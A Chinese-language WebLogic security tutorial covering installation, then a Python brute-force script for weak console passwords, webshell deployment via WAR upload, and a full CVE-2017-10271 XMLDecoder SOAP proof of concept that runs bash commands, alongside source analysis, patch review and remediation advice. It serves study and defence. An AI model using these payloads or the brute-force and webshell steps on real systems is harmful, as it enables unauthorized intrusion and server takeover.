[TOC]
一、 WebLogic安裝
0. 概述
WebLogic是美國Oracle公司出品的一個application server,確切的說是一個基于JAVAEE架構(gòu)的中間件,webLogic是用于開發(fā)、集成、部署和管理大型分布式Web應(yīng)用、網(wǎng)絡(luò)應(yīng)用和數(shù)據(jù)庫應(yīng)用的Java應(yīng)用服務(wù)器。將Java的動態(tài)功能和Java Enterprise標(biāo)準(zhǔn)的安全性引入大型網(wǎng)絡(luò)應(yīng)用的開發(fā)、集成、部署和管理之中。
1. 下載安裝Java環(huán)境
WebLogic需要安裝Java環(huán)境,JDK下載地址http://download.oracle.com/otn-pub/java/jdk/8u161-b12/2f38c3b165be4555a1fa6e98c45e0808/jdk-8u161-linux-x64.rpm
wget http://download.oracle.com/otn-pub/java/jdk/8u161-b12/2f38c3b165be4555a1fa6e98c45e0808/jdk-8u161-linux-x64.rpm
mkdir -p /usr/java/
mv jdk-8u161-linux-x64.rpm /usr/java/
rpm -ivh jdk-8u161-linux-x64.rpm
//添加環(huán)境變量
vim /etc/profile
//在最后加入
export JAVA_HOME=/usr/java/jdk1.8.0_161
export CLASSPATH=.:$JAVA_HOME/jre/lib/rt.jar:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
export PATH=$PATH:$JAVA_HOME/bin
//安裝成功后
[root@CentOS-6 bin]# echo $JAVA_HOME
/usr/java/jdk1.8.0_161
[root@CentOS-6 bin]# java -version
java version "1.8.0_161"
Java(TM) SE Runtime Environment (build 1.8.0_161-b12)
Java HotSpot(TM) 64-Bit Server VM (build 25.161-b12, mixed mode)
[root@CentOS-6 bin]#
2. 下載安裝WebLogic
wget http://download.oracle.com/otn/nt/middleware/11g/wls/1036/wls1036_generic.jar
//創(chuàng)建用戶和組
groupadd weblogic #創(chuàng)建weblogic組
useradd -g weblogic weblogic #創(chuàng)建weblogic用戶
password weblogic #創(chuàng)建weblogic密碼
java -jar wls1036_generic.jar
按照提示完成WebLogic安裝,安裝完成后配置domain,然后再在`/root/Oracle/Middleware/user_projects/domains/weblogic/bin`中啟動weblogic
`./startWebLogic.sh`
如果出現(xiàn)如下錯誤
java.lang.AssertionError: Could not obtain the localhost address. The most likely cause is an error in the network configuration of this machine.
at weblogic.server.channels.AddressUtils$AddressMaker.getLocalHost(AddressUtils.java:38)
at weblogic.server.channels.AddressUtils$AddressMaker.<clinit>(AddressUtils.java:33)
at weblogic.server.channels.AddressUtils.getIPAny(AddressUtils.java:154)
at weblogic.protocol.configuration.ChannelHelper.checkConsistency(ChannelHelper.java:61)
at weblogic.server.channels.ChannelService.start(ChannelService.java:207)
Truncated. see log file for complete stacktrace
Caused By: java.net.UnknownHostException: CentOS-6.5-mini: CentOS-6.5-mini: Name or service not known
at java.net.InetAddress.getLocalHost(InetAddress.java:1505)
at weblogic.server.channels.AddressUtils$AddressMaker.getLocalHost(AddressUtils.java:36)
at weblogic.server.channels.AddressUtils$AddressMaker.<clinit>(AddressUtils.java:33)
at weblogic.server.channels.AddressUtils.getIPAny(AddressUtils.java:154)
at weblogic.protocol.configuration.ChannelHelper.checkConsistency(ChannelHelper.java:61)
Truncated. see log file for complete stacktrace
Caused By: java.net.UnknownHostException: CentOS-6.5-mini: Name or service not known
at java.net.Inet6AddressImpl.lookupAllHostAddr(Native Method)
at java.net.InetAddress$2.lookupAllHostAddr(InetAddress.java:928)
at java.net.InetAddress.getAddressesFromNameService(InetAddress.java:1323)
at java.net.InetAddress.getLocalHost(InetAddress.java:1500)
at weblogic.server.channels.AddressUtils$AddressMaker.getLocalHost(AddressUtils.java:36)
Truncated. see log file for complete stacktrace
>
則修改hosts文件
vim /etc/hosts
添加
127.0.0.1 your hostname //your host 可以在終端輸入hostname查看
然后瀏覽器訪問http://your-ip:7001/console/ 查看。出現(xiàn)登陸界面則安裝成功。
http://192.168.1.128:7001/wls-wsat/CoordinatorPortType
二、 weblogic弱口令
weblogic常用弱口令https://cirt.net/passwords?criteria=weblogic
后臺登陸地址: http://192.168.136.130:7001/console/login/LoginForm.jsp
0. 思路
登陸weblogic后臺看到后臺地址登陸并無限制,因此可以嘗試寫腳本進(jìn)行爆破。
在登陸頁面隨便輸入一個用戶名密碼,利用network查看提交情況

可以看到,點(diǎn)擊提交按鈕后,瀏覽器向http://192.168.136.130:7001/console/j_security_check地址POST提交了這個表單

j_username: web
j_password: logic
j_character_encoding: UTF-8
當(dāng)提交錯誤時,重新返回登陸頁面的地址,
正確時,則返回新的地址

根據(jù)這個思路即可以編寫爆破腳本。
1. python爆破腳本
完整腳本git地址https://github.com/b4zinga/Explib/blob/master/weblogic.py
關(guān)鍵代碼:
def weakPasswd(self):
"""weak password"""
pwddict = ['WebLogic', 'weblogic', 'Oracle@123', 'password', 'system', 'Administrator', 'admin', 'security', 'joe', 'wlcsystem', 'wlpisystem']
for user in pwddict:
for pwd in pwddict:
data = {
'j_username':user,
'j_password':pwd,
'j_character_encoding':'UTF-8'
}
req = requests.post(self.url+':7001/console/j_security_check', data=data, allow_redirects=False, verify=False)
if req.status_code == 302 and 'console' in req.text and 'LoginForm.jsp' not in req.text:
print('[+] WebLogic username: '+user+' password: '+pwd)
return True
return False
2. 技巧
python的requests模塊在post或get提交數(shù)據(jù)時,如果返回信息中含302,則requests會默認(rèn)跟隨跳轉(zhuǎn),這里跳轉(zhuǎn)之后不容易 判斷,所以給requests添加allow_redirects=False參數(shù),指定requests不跟隨跳轉(zhuǎn)。
三、 weblogic 后臺提權(quán)
0. 思路分析
因為weblogic是一個基于JavaEE的中間件,所以可以解析jsp代碼,那么,當(dāng)我們知道后臺密碼之后,即可登陸weblogic后臺,上傳惡意war包,從而進(jìn)行提權(quán)等操作。
1. 利用過程
登陸weblogic后臺 http://192.168.136.130:7001/console ,點(diǎn)擊左側(cè)的部署,在彈出來的右側(cè)頁面點(diǎn)擊“安裝”

在安裝頁面選擇“上載文件”:

在 “將部署上載到管理服務(wù)器” 區(qū)域選擇"瀏覽",然后按照提示(其實就是一直下一步就行,最后點(diǎn)保存),將打包好的包含大馬的war包上傳至服務(wù)器。
包含大馬的war包制作方法:
jar -cvf test.war ./test/*
將test目錄打包為test.war
上傳成功后即可訪問大馬 http://192.168.136.130:7001/test/jsp馬.jsp查看上傳結(jié)果(需要注意的是,安裝之后應(yīng)該啟動才能訪問到該應(yīng)用)


2. 提示和技巧
- 通過上述步驟上傳的木馬默認(rèn)是保存在
/root/Oracle/Middleware/user_projects/domains/weblogic/servers/AdminServer/upload - war包制作方法
jar -cvf test.war ./test/*
一、weblogic安裝 http://www.cnblogs.com/0x4D75/p/8916428.html
二、weblogic弱口令 http://www.cnblogs.com/0x4D75/p/8918761.html
三、weblogic 后臺提權(quán) http://www.cnblogs.com/0x4D75/p/8919760.html
四、 weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271)
影響版本:
Oracle WebLogic Server 10.3.6.0.0版本
Oracle WebLogic Server 12.1.3.0.0版本
Oracle WebLogic Server 12.2.1.1.0版本
Oracle WebLogic Server 12.2.1.2.0版本
0. 漏洞分析
通過POC利用后,抓取weblogic的返回響應(yīng)的xml部分如下,調(diào)用棧在<ns2:frame />標(biāo)簽中:

從調(diào)用??梢悦鞔_的看到源碼中weblogic調(diào)用函數(shù)的過程:

processRequest>readHeaderOld>receive>receiveRequest>receiveRequest>readEntry>readUTF
我們發(fā)送的poc經(jīng)過這部分處理,就到了<ns2:frame class="java.beans.XMLDecoder" file="XMLDecoder.java" line="206" method="readObject"/>中。
processRequest函數(shù)源碼為:
public NextAction processRequest(Packet var1) {
this.isUseOldFormat = false;
if(var1.getMessage() != null) {
HeaderList var2 = var1.getMessage().getHeaders();
Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
if(var3 != null) {
this.readHeaderOld(var3);
this.isUseOldFormat = true;
}
Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true);
if(var4 != null) {
this.readHeader(var4);
}
}
WorkAreaConstants.WORK_AREA_HEADER:
public interface WorkAreaConstants{
String WORK_NS = "http://bea.com/2004/06/soap/workarea/";
String WORK_PREFIX = "work";
String XML_TAG_WORK_CONTEXT = "WorkContext";
String XML_TAG = "work:WorkContext";
QName WORK_AREA_HEADER = new QName( "http://bea.com/2004/06/soap/workarea/", "WorkContext", "work");
QName[] WORK_HEADERS = new QName[]{WORK_AREA_HEADER}
}
readHeaderOld源碼:
protected void readHeaderOld(Header var1) {
try {
XMLStreamReader var2 = var1.readHeader();
var2.nextTag();
var2.nextTag();
XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter();
ByteArrayOutputStream var4 = new ByteArrayOutputStream();
XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);
var3.bridge(var2, var5);
var5.close();
WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
this.receive(var6);
} catch (XMLStreamException var7) {
throw new WebServiceException(var7);
} catch (IOException var8) {
throw new WebServiceException(var8);
}
}
其中:
ByteArrayOutputStream: 捕獲內(nèi)存緩沖區(qū)的數(shù)據(jù),轉(zhuǎn)換成字節(jié)數(shù)組
ByteArrayInputStream: 將字節(jié)數(shù)組轉(zhuǎn)化為輸入流
上述過程中,var4會被賦予Poc中java標(biāo)簽內(nèi)的代碼,即:
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>id > /tmp/b4z</string>
</void>
</array>
<void method="start"/></void>
</java>
WorkContextXmlInputAdapter代碼:
public WorkContextXmlInputAdapter(InputStream var1){
this.xmlDecoder = new XMLDecoder(var1);
}
可以看到,在WorkContextXmlInputAdapter中,沒有任何過濾就直接調(diào)用XMLDecoder方法,從而導(dǎo)致反序列化遠(yuǎn)程代碼執(zhí)行。
1. 利用過程
poc如下:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.136.130:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml;charset=UTF-8
Content-Length: 1113
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>id > /tmp/b4</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
python版完整利用代碼: https://github.com/b4zinga/Explib/blob/master/weblogic.py
2. 修復(fù)建議
- 安裝補(bǔ)丁
四月份補(bǔ)丁(3506),在文件WorkContextXmlInputAdapter.java中,添加了validate()
public WorkContextXmlInputAdapter(InputStream is) {
ByteArrayOutputStream baos = new ByteArrayOutputStream(); try
{ int next = 0;
next = is.read(); while (next != -1)
{
baos.write(next);
next = is.read();
}
} catch (Exception e)
{ throw new IllegalStateException("Failed to get data from input stream", e);
}
validate(new ByteArrayInputStream(baos.toByteArray())); this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
}
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory(); try
{
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()
{ public void startElement(String uri, String localName, String qName, Attributes attributes)
throws SAXException { if (qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (ParserConfigurationException e)
{ throw new IllegalStateException("Parser Exception", e);
} catch (SAXException e)
{ throw new IllegalStateException("Parser Exception", e);
} catch (IOException e)
{ throw new IllegalStateException("Parser Exception", e);
}
}
其實就是在解析xml的過程中,如果qName值為Object就拋出異常,明顯可以繞過。
10271補(bǔ)丁:
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
本次限制了object,new, method, void,array等關(guān)鍵字段,這樣就不能生成Java實例,所以不能執(zhí)行命令。
-
刪除WLS-WebServices組件
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war Middleware/wlserver_10.3/server/lib/wls-wsat.war